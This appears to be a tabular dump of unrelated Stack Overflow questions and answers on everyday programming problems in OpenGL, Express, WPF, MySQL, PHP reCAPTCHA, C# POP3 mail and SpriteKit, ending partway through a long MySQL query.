24585454	0	How to convert glRotatef() to multiplication matrice for glMultMatrixd() <p>I need to perform some operations with different openGL functions.</p> <p>There for I have a cube initialized as glList. What I'm doing is some transformation with glu standard functions and I like to do exactly the same operations with matrix multiplication. But I got stuck with the rotation function. I want to rotate the cube around the x achsis e.g. 90°:</p> <pre><code>glRotatef(90.0, 1.0f, 0.0f, 0.0f); </code></pre> <p>should be replaced by:</p> <pre><code>GLdouble m[16] ={1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0,-1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0 }; glMultMatrixd(m); </code></pre> <p>I found <a href="http://www.cs.princeton.edu/~gewang/projects/darth/stuff/quat_faq.html#Q28" rel="nofollow">this very usefull site</a> <strike>but some how it's not doing exactly the same as the above function</strike>. Is there a generell principle how to transform the glRotatef() function to a gl transformation matrix?</p> <p>UPDATE: sorry, I missed the important note a the beginning of the document that the matrices from the document needed to be transposed for use in openGL. </p>
31756697	0	 <p>I've got no idea how FactoryBoy works, but this strategy usually works for me when I need dynamic properties on fields in Django models:</p> <pre><code>def FooContainerFactory(factory.Factory): def __init__(self, count=20, *args, **kwargs): self.foos = factory.List([Foo() for _ in range(20)]) super(FooContainerFactory, self).__init__(*args, **kwargs) class Meta: model = FooContainerModel </code></pre>
30694527	0	Is it safe to pass req as a variable in res.render in expressJs? <p>I'm using NodeJs+ ExpressJs + Handlebars to build a website. When rendering a page I need to pass 3 things everytime : isAuthenticated, userEmail, and FlashMsg. Instead of This :</p> <pre><code>res.render('/webPage', {isAuthenticated: req.isAuthenticated(), userEmail: req.user.email, flashMsg: req.flash()}); </code></pre> <p>Is it safe to do it like that so everythings will be accessible on the page?:</p> <pre><code>res.render('/webPage', {req:req}); </code></pre> <p>Is it too much stuff passed to the page or it's not a problem ? Thanks.</p>
26230328	0	 <p>Try changing it to this;</p> <pre><code>&lt;% @events.each do |e| %&gt; &lt;%= link_to '&lt;i class=icon-trash&gt;&lt;/i&gt;'.html_safe, account_show_path(@context, @event), :confirm =&gt; 'Are you sure?', :method =&gt; :delete %&gt; &lt;% end %&gt; </code></pre> <p>Make sure you have the following in your header;</p> <pre><code>&lt;%= javascript_include_tag 'application', 'data-turbolinks-track' =&gt; true %&gt; &lt;%= csrf_meta_tags %&gt; </code></pre>
3243204	0	WPF Why the assigned background cannot override setter value in style triggers? <p>I have a <code>Style</code> for a <code>TextBox</code> like this:</p> <pre><code>&lt;Style x:Key="TextBox_Standard" TargetType="{x:Type TextBoxBase}" &gt; &lt;Setter Property="Control.FontFamily" Value="/#Calibri" /&gt; &lt;Setter Property="Control.FontSize" Value="12" /&gt; &lt;Setter Property="Control.Margin" Value="2" /&gt; &lt;Setter Property="Control.Height" Value="21" /&gt; &lt;Setter Property="Control.VerticalAlignment" Value="Center" /&gt; &lt;Setter Property="SnapsToDevicePixels" Value="True"/&gt; &lt;Setter Property="UndoLimit" Value="0"/&gt; &lt;Setter Property="Template"&gt; &lt;Setter.Value&gt; &lt;ControlTemplate TargetType="{x:Type TextBoxBase}"&gt; &lt;Border Name="Border" CornerRadius="1" Padding="1" Background="{StaticResource WindowBackgroundBrush}" BorderBrush="{StaticResource SolidBorderBrush}" BorderThickness="1" &gt; &lt;ScrollViewer Margin="0" x:Name="PART_ContentHost" /&gt; &lt;/Border&gt; &lt;ControlTemplate.Triggers&gt; &lt;Trigger Property="IsEnabled" Value="False"&gt; &lt;Setter TargetName="Border" Property="Background" Value="{StaticResource DisabledBackgroundBrush}"/&gt; &lt;Setter Property="Foreground" Value="{StaticResource DisabledForegroundBrush}"/&gt; &lt;Setter Property="Cursor" Value="Arrow"/&gt; &lt;/Trigger&gt; &lt;Trigger Property="IsReadOnly" Value="True"&gt; &lt;Setter TargetName="Border" Property="Background" Value="{StaticResource DisabledBackgroundBrush}"/&gt; &lt;Setter Property="Focusable" Value="False"/&gt; &lt;Setter Property="Cursor" Value="Arrow"/&gt; &lt;/Trigger&gt; &lt;/ControlTemplate.Triggers&gt; &lt;/ControlTemplate&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;/Style&gt; </code></pre> <p>It was made to make sure the foreground color to be black and background color to be gray when it's not editable.</p> <p>but apparently now there's a requirement to change the background programmatically when it's not editable, so I tried it like this:</p> <p><code>txtBox.Background = Brushes.Yellow;</code></p> <p>but what happens is it still have a white background when editable and gray background when not editable.</p> <p>Where did I go wrong?</p>
19977766	0	 <p>Looking at your desired output, you are looking for the <code>crossprod</code> function:</p> <pre><code>crossprod(table(test1)) # product # product p1 p2 p3 p4 # p1 4 1 1 0 # p2 1 3 1 0 # p3 1 1 4 1 # p4 0 0 1 2 </code></pre> <p>This is the same as <code>crossprod(table(test1$user, test1$product))</code> (reflecting Dennis's comment).</p>
31518924	0	XML to JSON merges tags <p>I am working on a small project and I have encountered an issue for which I cannot find a solution myself or locate something similar on internet. So, I am retrieving information from API in XML format, when I call my own API through JavaScript to retrieve this XML document the data gets converted into JSON format, but the repeating tags get merged into single property. Anyone know how I can stop it ?</p> <p>Here is some Sample data:</p> <pre><code>&lt;then&gt; &lt;test operator="test"&gt; &lt;one&gt; &lt;byte&gt;1&lt;/byte&gt; &lt;/one&gt; &lt;two&gt; &lt;byte&gt;1&lt;/byte&gt; &lt;/two&gt; &lt;/test&gt; &lt;insert&gt; &lt;object&gt; &lt;string&gt;1&lt;/string&gt; &lt;/object&gt; &lt;/insert&gt; &lt;remove&gt; &lt;object&gt;url&lt;/object&gt; &lt;/remove&gt; &lt;test operator="test"&gt; &lt;one&gt; &lt;byte&gt;3&lt;/byte&gt; &lt;/one&gt; &lt;two&gt; &lt;byte&gt;3&lt;/byte&gt; &lt;/two&gt; &lt;/test&gt; &lt;/then&gt; </code></pre> <p>After serialization the output would look like this:</p> <pre><code>{ "then": { "test": [ { "one": { "byte": "1" }, "two": { "byte": "1" }, "_operator": "test" }, { "one": { "byte": "3" }, "two": { "byte": "3" }, "_operator": "test" } ], "insert": { "object": { "string": "1" } }, "remove": { "object": "url" } } } </code></pre> <p>You can see that all test have been merged into 1 property. Is there any way to stop this ?</p>
39833233	0	NUnit: Can I use an empty TestCaseSource and still have a test pass? <p>I currently have some unit tests running against all of our controllers and actions, and an additional test for some "temporary exemptions" that we allow (but that receive other checks as a result). </p> <p>We were able to remove all of our temporary exemptions (a good thing), but the functionality needs to remain in place for future use.</p> <p>However, since the <code>TestCaseSource</code> is now empty, NUnit fails the test with "no arguments were provided".</p> <p>I don't necessarily disagree with the behavior, but given my situation, is there any way to ignore the test only when the <code>TestCaseSource</code> is empty, rather than failing with this message?</p>
27775846	0	 <p>I have solved the issue by changing this line:</p> <pre><code>lblImageName = [[UILabel alloc] initWithFrame:CGRectMake(cell.frame.origin.x, cell.frame.origin.y, 200, 200)]; </code></pre> <p>to:</p> <pre><code>lblImageName = [[UILabel alloc] initWithFrame:CGRectMake(0,0, 200, 200)]; </code></pre>
11592139	0	MySQL snafoo with GROUP_CONCAT <p>This works:</p> <pre><code>SELECT DISTINCT HEX(group_uuid) AS hexid FROM schema.table &gt;9B3D8DE01E1E049DA9F17D42B324AA66 &gt;CDF112D740CE14EA08CA90E3C937DE8D </code></pre> <p>as does this</p> <pre><code>SELECT GROUP_CONCAT('\'', HEX(group_uuid), '\' ') AS hexid FROM schema.table &gt;'9B3D8DE01E1E049DA9F17D42B324AA66','9B3D8DE01E1E049DA9F17D42B324AA66' [etc...] </code></pre> <p>and this </p> <pre><code>SELECT GROUP_CONCAT(DISTINCT HEX(group_uuid) SEPARATOR '\' ') AS hexid FROM schema.table &gt;9B3D8DE01E1E049DA9F17D42B324AA66' CDF112D740CE14EA08CA90E3C937DE8D </code></pre> <p>this, however,</p> <pre><code>SELECT GROUP_CONCAT('\'', DISTINCT HEX(group_uuid), '\' ') AS hexid FROM schema.table Error Code: 1064. You have an error in your SQL syntax; INSERT COIN </code></pre> <p>does not.</p> <p>Is there some kind 'PREFIX' keyword that can be substituted or another syntax I'm supposed to follow?</p>
22399177	0	 <p>Get them all at once:</p> <pre><code>Select e1.Employername From Employer e1 Where e1.Salary &gt; (Select avg(e2.Salary) from Employer e2 Where e2.WorkingPosition = e1.WorkingPosition)) </code></pre>
41067701	0	 <p>If <code>list2</code> is ordered, then simply use your second solution optimized:</p> <pre><code>var exceptIndex = 0; var newList = new List&lt;T&gt;(); for (var i = 0; i &lt; list1.Length; i++) { if (i != list2[exceptIndex]) newList.Add(list1[i]); else exceptIndex++ } return newList; </code></pre>
25048112	0	Recaptcha Bug Loop <p>I started to work on recaptcha file but this one keeps looping (don't know why). </p> <pre><code> &lt;?php if (!defined('QA_VERSION')) { // don't allow this page to be requested directly from browser header('Location: ../'); exit; } class qa_recaptcha_captcha { var $directory; function load_module($directory, $urltoroot) { $this-&gt;directory=$directory; } function admin_form() { $saved=false; if (qa_clicked('recaptcha_save_button')) { qa_opt('recaptcha_public_key', qa_post_text('recaptcha_public_key_field')); qa_opt('recaptcha_private_key', qa_post_text('recaptcha_private_key_field')); $saved=true; } $form=array( 'ok' =&gt; $saved ? 'reCAPTCHA settings saved' : null, 'fields' =&gt; array( 'public' =&gt; array( 'label' =&gt; 'reCAPTCHA public key:', 'value' =&gt; qa_opt('recaptcha_public_key'), 'tags' =&gt; 'name="recaptcha_public_key_field"', ), 'private' =&gt; array( 'label' =&gt; 'reCAPTCHA private key:', 'value' =&gt; qa_opt('recaptcha_private_key'), 'tags' =&gt; 'name="recaptcha_private_key_field"', 'error' =&gt; $this-&gt;recaptcha_error_html(), ), ), 'buttons' =&gt; array( array( 'label' =&gt; 'Save Changes', 'tags' =&gt; 'name="recaptcha_save_button"', ), ), ); return $form; } function recaptcha_error_html() { if (!function_exists('fsockopen')) return 'To use reCAPTCHA, the fsockopen() PHP function must be enabled on your server. Please check with your system administrator.'; elseif ( (!strlen(trim(qa_opt('recaptcha_public_key')))) || (!strlen(trim(qa_opt('recaptcha_private_key')))) ) { require_once $this-&gt;directory.'recaptchalib.php'; $url=recaptcha_get_signup_url(@$_SERVER['HTTP_HOST'], qa_opt('site_title')); return 'To use reCAPTCHA, you must &lt;a href="'.qa_html($url).'"&gt;sign up&lt;/a&gt; to get these keys.'; } return null; } function allow_captcha() { return function_exists('fsockopen') &amp;&amp; strlen(trim(qa_opt('recaptcha_public_key'))) &amp;&amp; strlen(trim(qa_opt('recaptcha_private_key'))); } function form_html(&amp;$qa_content, $error) { require_once $this-&gt;directory.'recaptchalib.php'; $language=qa_opt('site_language'); if (strpos('|en|nl|fr|de|pt|ru|es|tr|', '|'.$language.'|')===false) // supported as of 3/2010 $language='en'; $qa_content['script_lines'][]=array( "var RecaptchaOptions={", "\ttheme:'white',", "\tlang:".qa_js($language), "};", ); return recaptcha_get_html(qa_opt('recaptcha_public_key'), $error, qa_is_https_probably()); } function validate_post(&amp;$error) { if ( (!empty($_POST['recaptcha_challenge_field'])) &amp;&amp; (!empty($_POST['recaptcha_response_field'])) ) { require_once $this-&gt;directory.'recaptchalib.php'; $answer=recaptcha_check_answer( qa_opt('recaptcha_private_key'), qa_remote_ip_address(), $_POST['recaptcha_challenge_field'], $_POST['recaptcha_response_field'] ); if ($answer-&gt;is_valid) return true; $error=@$answer-&gt;error; } return false; } } </code></pre> <p>I am getting Internal Server Error because of that. What might be the issue? Please help me. Im sitting on this third day and I thought maybe I am missing something obvious.</p>
40219559	0	How to read latest email from Yahoo mail using pop3 c# <p>I want to read email from my yahoo mail account. I am using "OpenPop.Pop3" to read email from my yahoo mail account, I am using below code :-</p> <pre><code>using OpenPop.Pop3; public DataTable ReadEmailsFromId() { DataTable table = new DataTable(); try { using (Pop3Client client = new Pop3Client()) { client.Connect("pop.mail.yahoo.com", 995, true); //For SSL client.Authenticate("Username", "Password", AuthenticationMethod.UsernameAndPassword); int messageCount = client.GetMessageCount(); for (int i = messageCount; i &gt; 0; i--) { table.Rows.Add(client.GetMessage(i).Headers.Subject, client.GetMessage(i).Headers.DateSent); string msdId = client.GetMessage(i).Headers.MessageId; OpenPop.Mime.Message msg = client.GetMessage(i); OpenPop.Mime.MessagePart plainTextPart = msg.FindFirstPlainTextVersion(); string message = plainTextPart.GetBodyAsText(); } } } return table; } </code></pre> <p>Same code is able to access other mails emails like gmail,outlook but while working with yahoo mail emails i am able to get Subject, Date but when came to message part that is:</p> <pre><code>OpenPop.Mime.Message msg = client.GetMessage(i); OpenPop.Mime.MessagePart plainTextPart = msg.FindFirstPlainTextVersion(); </code></pre> <p>Its give error "The stream used to retrieve responses from was closed".</p> <p>Here is the "StackTrace":</p> <pre><code>at OpenPop.Pop3.Pop3Client.IsOkResponse(String response) at OpenPop.Pop3.Pop3Client.SendCommand(String command) at OpenPop.Pop3.Pop3Client.Disconnect() at OpenPop.Pop3.Pop3Client.Dispose(Boolean disposing) at OpenPop.Pop3.Disposable.Dispose() </code></pre> <p>Please let me know if i missing something or doing something wrong. Also I have make yahoo mail emails to be accessed anywhere using POP.</p>
6528617	0	 <p>just extend <code>AndroidTestCase</code> instead of <code>ProviderTestCase2</code> AND use <code>getContext()</code></p>
1279464	0	 <p>This is one of my favorite metaphors to describe software engineering:</p> <ul> <li><p>Imagine you're building a house. You'd have to have plans for the house, and decide what materials to build, and how to organize the building process. (Most people have had work done on their house so they have some rough concept of what's involved in this.)</p></li> <li><p>Now imagine that you're not building a house, you're building a skyscraper with 100 floors of offices. How would the plans be different than the plans for the house? How would the materials need to be different? What factors would need to be carefully considered?</p></li> <li><p>Now imagine that you're not building the skyscraper yourself, you're building a robot that will fly to the Moon and build the skyscraper there. Now how would the plans have to be different? How would the materials need to be different? Do you see why the ramifications of every decision would need to be carefully thought through?</p></li> </ul> <p>You could replace "skyscraper" with "freight management system" if you wanted, and I think the metaphor would still be useful.</p>
15775598	0	 <pre><code>$array = array($one, $two, $three, $four, $five); foreach ($array as $value) { if ($example === $value) { something; } } </code></pre>
12074727	0	 <p>This would be where you use Left Join and Group By. If all you need is the count of items from b, that is.</p> <pre><code>SELECT a.id id,a.price price,a.stock stock, a.max_per_user max_per_user,a.purchased purchased, COUNT(b.quantity owned) as quantity_owned FROM shop_items a LEFT JOIN shop_inventory b ON b.iid=a.id AND b.cid=a.cid WHERE a.cid=1 AND a.szbid=0 AND a.id IN(3,4) GROUP BY a.id </code></pre>
33720823	0	 <p>you could have a list of letters and then filter on that - e.g:</p> <pre><code>var letters = new[] {"H","I", "J", "K", "L"}; var Artists = context.GetTable&lt;Artist&gt;().Where (a =&gt; letters.Any (l =&gt; a.Name.StartsWith(l))); </code></pre>
1476139	0	 <p>I would second <a href="http://www.jqtouch.com/" rel="nofollow noreferrer">jQTouch</a>. It uses native CSS animations and behaves reasonably smoothly on my iPod Touch.</p>
20134891	0	SKPhysicsBody bodyWithPolygonFromPath memory leaks <p>I have a strange memory leaks when creating Sprite Kit physics bodies with custom shapes. This is how my implementation looks:</p> <pre><code>CGFloat offsetX = self.frame.size.width * self.anchorPoint.x; CGFloat offsetY = self.frame.size.height * self.anchorPoint.y; CGMutablePathRef path = CGPathCreateMutable(); CGPathMoveToPoint(path, NULL, 4 - offsetX, 3 - offsetY); CGPathAddLineToPoint(path, NULL, 66 - offsetX, 3 - offsetY); CGPathAddLineToPoint(path, NULL, 35 - offsetX, 57 - offsetY); CGPathCloseSubpath(path); self.physicsBody = [SKPhysicsBody bodyWithPolygonFromPath:path]; CGPathRelease(path); </code></pre> <p>Everything is going on inside <code>SKSpriteNode</code> method. Instruments tells me about several memory leaks after creating such bodies:</p> <pre><code>Leaked object: Malloc 32 Bytes Size: 32 Bytes Responsible Library: PhysicsKit Responsible Frame: std::__1::__split_buffer&lt;PKPoint, std::__1::allocator&lt;PKPoint&gt;&amp;&gt;::__split_buffer(unsigned long, unsigned long, std::__1::allocator&lt;PKPoint&gt;&amp;) </code></pre> <p>The <code>CGPathRelease(path);</code> line is necessary - without it I'm getting more memory leaks about <code>CGPath</code> which is understandable. When I'm using this implementation instead (for testing purposes):</p> <pre><code>CGFloat radius = MAX(self.frame.size.width, self.frame.size.height) * 0.5f; self.physicsBody = [SKPhysicsBody bodyWithCircleOfRadius:radius]; </code></pre> <p>...everything is working well, without memory leaks. I wonder if this is Sprite Kit bug or I'm doing something wrong.</p>
12042217	0	can you append(add) space and/or hyphen characters to the end of match in regex? <p>exactly as the question sounds, I want to know if you can append or add a space character at the end of all matches or just certain matches</p> <p>regex code I have</p> <pre><code>${Brand Name}${Colour}${Product Description}${ID} </code></pre> <p>what it spits out</p> <pre><code>Facille SnapBlackTablestop Snapkin Dispenser and Pack of Snapkins4696400 Brand Name: Facille Snap Colour: Black Product Description: Tablestop Snapkin Dispenser and Pack of Snapkins ID: 4696400 </code></pre> <p>I want regex to return a usable line of text like this</p> <pre><code>Facille Snap - Black Tablestop Snapkin Dispenser and Pack of Snapkins - 4696400 </code></pre>
23066290	0	MySQL - Query performance issues - taking 25+ seconds <p>I've been trying to figure out why this query is taking so long. Before, it was executing in approx 150ms to 200ms but now it's taking 25 seconds or longer. And this was between last night and this mroning. The only thing that's changed is add data to tables.</p> <p>Based on the explain output below and also the sql I've provided, is there anything that stands out that would explain why the query takes so long now?</p> <p>update: Per the comment from halfer, I changed the order by to <code>ORDER BY pins.pin_id</code> and it brought the execution time to 172ms.</p> <p>Also, I wanted to mention that the table pins has 20 million records, boards as 339,000 records, users has 352738 records.</p> <pre><code>+----+--------------------+---------------+-----------------+----------------------------------------------+---------+---------+--------------------------------+------+--------------------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+--------------------+---------------+-----------------+----------------------------------------------+---------+---------+--------------------------------+------+--------------------------+ | 1 | PRIMARY | &lt;derived11&gt; | system | NULL | NULL | NULL | NULL | 1 | | | 1 | PRIMARY | pins | index | user_id,user_id_2,latitude,longitude,lat_lon | vip | 1 | NULL | 646 | Using where | | 1 | PRIMARY | users | eq_ref | PRIMARY | PRIMARY | 8 | skoovy_prd.pins.user_id | 1 | | | 1 | PRIMARY | boards | eq_ref | PRIMARY | PRIMARY | 8 | skoovy_prd.pins.board_id | 1 | | | 1 | PRIMARY | via | eq_ref | PRIMARY | PRIMARY | 8 | skoovy_prd.pins.via | 1 | | | 12 | DEPENDENT SUBQUERY | users | unique_subquery | PRIMARY | PRIMARY | 8 | func | 1 | Using where | | 11 | DERIVED | NULL | NULL | NULL | NULL | NULL | NULL | NULL | No tables used | | 10 | DEPENDENT SUBQUERY | users_avatars | ref | pin_id | pin_id | 14 | skoovy_prd.users.user_id,const | 1 | Using where | | 9 | DEPENDENT SUBQUERY | users_avatars | ref | pin_id | pin_id | 14 | skoovy_prd.users.user_id,const | 1 | Using where | | 8 | DEPENDENT SUBQUERY | users_avatars | ref | pin_id | pin_id | 14 | skoovy_prd.users.user_id,const | 1 | Using where | | 7 | DEPENDENT SUBQUERY | pins_images | ref | pin_id | pin_id | 14 | skoovy_prd.pins.pin_id,const | 1 | Using where | | 6 | DEPENDENT SUBQUERY | pins_images | ref | pin_id | pin_id | 14 | skoovy_prd.pins.pin_id,const | 1 | Using where | | 5 | DEPENDENT SUBQUERY | pins_images | ref | pin_id | pin_id | 14 | skoovy_prd.pins.pin_id,const | 1 | Using where | | 4 | DEPENDENT SUBQUERY | pins_images | ref | pin_id | pin_id | 14 | skoovy_prd.pins.pin_id,const | 1 | Using where | | 3 | DEPENDENT SUBQUERY | pins_reports | index | user_id | user_id | 115 | NULL | 1 | Using where; Using index | | 2 | DEPENDENT SUBQUERY | pins_likes | ref | pin_id,pin_id_2,user_id | pin_id | 16 | skoovy_prd.pins.pin_id,const | 1 | Using index | +----+--------------------+---------------+-----------------+----------------------------------------------+---------+---------+--------------------------------+------+--------------------------+ </code></pre> <p>The SQL:</p> <pre><code>SELECT `pins`.`pin_id` AS `pin_pin_id`, `pins`.`check_unique_id` AS `pin_check_unique_id`, `pins`.`category_id` AS `pin_category_id`, `pins`.`board_id` AS `pin_board_id`, `pins`.`user_id` AS `pin_user_id`, `pins`.`date_added` AS `pin_date_added`, `pins`.`date_modified` AS `pin_date_modified`, `pins`.`likes` AS `pin_likes`, `pins`.`comments` AS `pin_comments`, `pins`.`repins` AS `pin_repins`, `pins`.`description` AS `pin_description`, `pins`.`title` AS `pin_title`, `pins`.`image` AS `pin_image`, `pins`.`price` AS `pin_price`, `pins`.`price_currency_code` AS `pin_price_currency_code`, `pins`.`price_type` AS `pin_price_type`, `pins`.`price_from` AS `pin_price_from`, `pins`.`price_to` AS `pin_price_to`, `pins`.`event_type` AS `pin_event_type`, `pins`.`event_start` AS `pin_event_start`, `pins`.`event_end` AS `pin_event_end`, `pins`.`from` AS `pin_from`, `pins`.`from_md5` AS `pin_from_md5`, `pins`.`from_repin` AS `pin_from_repin`, `pins`.`is_video` AS `pin_is_video`, `pins`.`views` AS `pin_views`, `pins`.`latest_comments` AS `pin_latest_comments`, `pins`.`source_id` AS `pin_source_id`, `pins`.`via` AS `pin_via`, `pins`.`repin_from` AS `pin_repin_from`, `pins`.`public` AS `pin_public`, `pins`.`ub_id` AS `pin_ub_id`, `pins`.`total_views` AS `pin_total_views`, `pins`.`delete_request` AS `pin_delete_request`, `pins`.`pinmarklet` AS `pin_pinmarklet`, `pins`.`vip` AS `pin_vip`, `pins`.`store` AS `pin_store`, `pins`.`width` AS `pin_width`, `pins`.`height` AS `pin_height`, `pins`.`ext` AS `pin_ext`, `pins`.`location` AS `pin_location`, `pins`.`latitude` AS `pin_latitude`, `pins`.`longitude` AS `pin_longitude`, IF(pins.price_type != '' AND (pins.price_type = 'CUSTOM_RANGE' AND pins.price_from &lt;&gt; 0.00 AND pins.price_to &lt;&gt; 0.00 AND pins.price_from &lt; pins.price_to) OR (pins.price_from &lt;&gt; 0.00), 1, 0) AS `pin_show_pricing`, IF(pins.price_type = 'CUSTOM_RANGE', CONCAT('$', pins.price_from, '-', '$', pins.price_to), CONCAT('$', pins.price_from)) AS `pin_price_text`, IF((pins.event_start IS NOT NULL || pins.event_end IS NOT NULL) &amp;&amp; (pins.event_start != '0000-00-00 00:00:00' || pins.event_end != '0000-00-00 00:00:00') &amp;&amp; (event_type = 'multiple' || event_type = 'single'), 1, 0) AS `pin_show_event`, IF(pins.event_type = 'multiple', CONCAT(DATE_FORMAT(pins.event_start, '%Y-%m-%d'), ' - ', DATE_FORMAT(pins.event_end, '%Y-%m-%d')), DATE_FORMAT(pins.event_start, '%Y-%m-%d')) AS `pin_event_text`, (SELECT COUNT(like_id) FROM `pins_likes` WHERE (pin_id = pins.pin_id) AND (user_id = 57610) LIMIT 1) AS `pin_is_liked`, (SELECT COUNT(pr_id) FROM `pins_reports` WHERE (pin_id = pins.pin_id) AND (checked = 0) AND (user_id = '57610' OR user_ip = '44021cb8') LIMIT 1) AS `pin_is_reported`, (SELECT CONCAT_WS('|||', image, width, height, original, mime) FROM `pins_images` WHERE (pin_id = pins.pin_id) AND (size = '_A') LIMIT 1) AS `pin_thumb_a`, (SELECT CONCAT_WS('|||', image, width, height, original, mime) FROM `pins_images` WHERE (pin_id = pins.pin_id) AND (size = '_B') LIMIT 1) AS `pin_thumb_b`, (SELECT CONCAT_WS('|||', image, width, height, original, mime) FROM `pins_images` WHERE (pin_id = pins.pin_id) AND (size = '_C') LIMIT 1) AS `pin_thumb_c`, (SELECT CONCAT_WS('|||', image, width, height, original, mime) FROM `pins_images` WHERE (pin_id = pins.pin_id) AND (size = '_D') LIMIT 1) AS `pin_thumb_d`, `users`.`user_id` AS `user_user_id`, `users`.`source` AS `user_source`, `users`.`source_uuid` AS `user_source_uuid`, `users`.`is_business` AS `user_is_business`, `users`.`username` AS `user_username`, `users`.`password` AS `user_password`, `users`.`email` AS `user_email`, `users`.`new_email` AS `user_new_email`, `users`.`new_email_key` AS `user_new_email_key`, `users`.`business_name` AS `user_business_name`, `users`.`business_phone` AS `user_business_phone`, `users`.`firstname` AS `user_firstname`, `users`.`lastname` AS `user_lastname`, `users`.`groups` AS `user_groups`, `users`.`status` AS `user_status`, `users`.`last_action_datetime` AS `user_last_action_datetime`, `users`.`last_login` AS `user_last_login`, `users`.`ip_address` AS `user_ip_address`, `users`.`following` AS `user_following`, `users`.`followers` AS `user_followers`, `users`.`avatar` AS `user_avatar`, `users`.`facebook_id` AS `user_facebook_id`, `users`.`twitter_id` AS `user_twitter_id`, `users`.`twitter_username` AS `user_twitter_username`, `users`.`is_admin` AS `user_is_admin`, `users`.`is_developer` AS `user_is_developer`, `users`.`gender` AS `user_gender`, `users`.`location` AS `user_location`, `users`.`latitude` AS `user_latitude`, `users`.`longitude` AS `user_longitude`, `users`.`website` AS `user_website`, `users`.`date_added` AS `user_date_added`, `users`.`new_password` AS `user_new_password`, `users`.`new_password_key` AS `user_new_password_key`, `users`.`facebook_session` AS `user_facebook_session`, `users`.`boards` AS `user_boards`, `users`.`pins` AS `user_pins`, `users`.`likes` AS `user_likes`, `users`.`latest_pins` AS `user_latest_pins`, `users`.`description` AS `user_description`, `users`.`facebook_connect` AS `user_facebook_connect`, `users`.`facebook_timeline` AS `user_facebook_timeline`, `users`.`twitter_connect` AS `user_twitter_connect`, `users`.`dont_search_index` AS `user_dont_search_index`, `users`.`delete_account` AS `user_delete_account`, `users`.`delete_account_date` AS `user_delete_account_date`, `users`.`groups_pin_email` AS `user_groups_pin_email`, `users`.`comments_email` AS `user_comments_email`, `users`.`likes_email` AS `user_likes_email`, `users`.`repins_email` AS `user_repins_email`, `users`.`follows_email` AS `user_follows_email`, `users`.`email_interval` AS `user_email_interval`, `users`.`digest_email` AS `user_digest_email`, `users`.`news_email` AS `user_news_email`, `users`.`first_login` AS `user_first_login`, `users`.`store` AS `user_store`, `users`.`width` AS `user_width`, `users`.`height` AS `user_height`, `users`.`instagram_connect` AS `user_instagram_connect`, `users`.`instagram_profile_id` AS `user_instagram_profile_id`, `users`.`instagram_token` AS `user_instagram_token`, `users`.`enable_follow` AS `user_enable_follow`, `users`.`public` AS `user_public`, users.username AS `user_fullname`, (SELECT CONCAT_WS('|||', image, width, height, original, mime) FROM `users_avatars` WHERE (user_id = users.user_id) AND (size = '_A') LIMIT 1) AS `user_avatar_a`, (SELECT CONCAT_WS('|||', image, width, height, original, mime) FROM `users_avatars` WHERE (user_id = users.user_id) AND (size = '_B') LIMIT 1) AS `user_avatar_b`, (SELECT CONCAT_WS('|||', image, width, height, original, mime) FROM `users_avatars` WHERE (user_id = users.user_id) AND (size = '_C') LIMIT 1) AS `user_avatar_c`, `boards`.`board_id` AS `board_board_id`, `boards`.`category_id` AS `board_category_id`, `boards`.`user_id` AS `board_user_id`, `boards`.`image` AS `board_image`, `boards`.`date_added` AS `board_date_added`, `boards`.`date_modified` AS `board_date_modified`, `boards`.`sort_order` AS `board_sort_order`, `boards`.`title` AS `board_title`, `boards`.`description` AS `board_description`, `boards`.`followers` AS `board_followers`, `boards`.`pins` AS `board_pins`, `boards`.`public` AS `board_public`, `boards`.`latest_pins` AS `board_latest_pins`, `boards`.`cover` AS `board_cover`, `boards`.`delete_request` AS `board_delete_request`, `boards`.`views` AS `board_views`, `boards`.`total_views` AS `board_total_views`, `via`.`user_id` AS `via_user_id`, `via`.`source` AS `via_source`, `via`.`source_uuid` AS `via_source_uuid`, `via`.`is_business` AS `via_is_business`, `via`.`username` AS `via_username`, `via`.`password` AS `via_password`, `via`.`email` AS `via_email`, `via`.`new_email` AS `via_new_email`, `via`.`new_email_key` AS `via_new_email_key`, `via`.`business_name` AS `via_business_name`, `via`.`business_phone` AS `via_business_phone`, `via`.`firstname` AS `via_firstname`, `via`.`lastname` AS `via_lastname`, `via`.`groups` AS `via_groups`, `via`.`status` AS `via_status`, `via`.`last_action_datetime` AS `via_last_action_datetime`, `via`.`last_login` AS `via_last_login`, `via`.`ip_address` AS `via_ip_address`, `via`.`following` AS `via_following`, `via`.`followers` AS `via_followers`, `via`.`avatar` AS `via_avatar`, `via`.`facebook_id` AS `via_facebook_id`, `via`.`twitter_id` AS `via_twitter_id`, `via`.`twitter_username` AS `via_twitter_username`, `via`.`is_admin` AS `via_is_admin`, `via`.`is_developer` AS `via_is_developer`, `via`.`gender` AS `via_gender`, `via`.`location` AS `via_location`, `via`.`latitude` AS `via_latitude`, `via`.`longitude` AS `via_longitude`, `via`.`website` AS `via_website`, `via`.`date_added` AS `via_date_added`, `via`.`new_password` AS `via_new_password`, `via`.`new_password_key` AS `via_new_password_key`, `via`.`facebook_session` AS `via_facebook_session`, `via`.`boards` AS `via_boards`, `via`.`pins` AS `via_pins`, `via`.`likes` AS `via_likes`, `via`.`latest_pins` AS `via_latest_pins`, `via`.`description` AS `via_description`, `via`.`facebook_connect` AS `via_facebook_connect`, `via`.`facebook_timeline` AS `via_facebook_timeline`, `via`.`twitter_connect` AS `via_twitter_connect`, `via`.`dont_search_index` AS `via_dont_search_index`, `via`.`delete_account` AS `via_delete_account`, `via`.`delete_account_date` AS `via_delete_account_date`, `via`.`groups_pin_email` AS `via_groups_pin_email`, `via`.`comments_email` AS `via_comments_email`, `via`.`likes_email` AS `via_likes_email`, `via`.`repins_email` AS `via_repins_email`, `via`.`follows_email` AS `via_follows_email`, `via`.`email_interval` AS `via_email_interval`, `via`.`digest_email` AS `via_digest_email`, `via`.`news_email` AS `via_news_email`, `via`.`first_login` AS `via_first_login`, `via`.`store` AS `via_store`, `via`.`width` AS `via_width`, `via`.`height` AS `via_height`, `via`.`instagram_connect` AS `via_instagram_connect`, `via`.`instagram_profile_id` AS `via_instagram_profile_id`, `via`.`instagram_token` AS `via_instagram_token`, `via`.`enable_follow` AS `via_enable_follow`, `via`.`public` AS `via_public`, via.username AS `via_fullname`, `row` . *, @curRow:=@curRow + 1 AS `pin_pin_row` FROM `pins` LEFT JOIN `users` ON 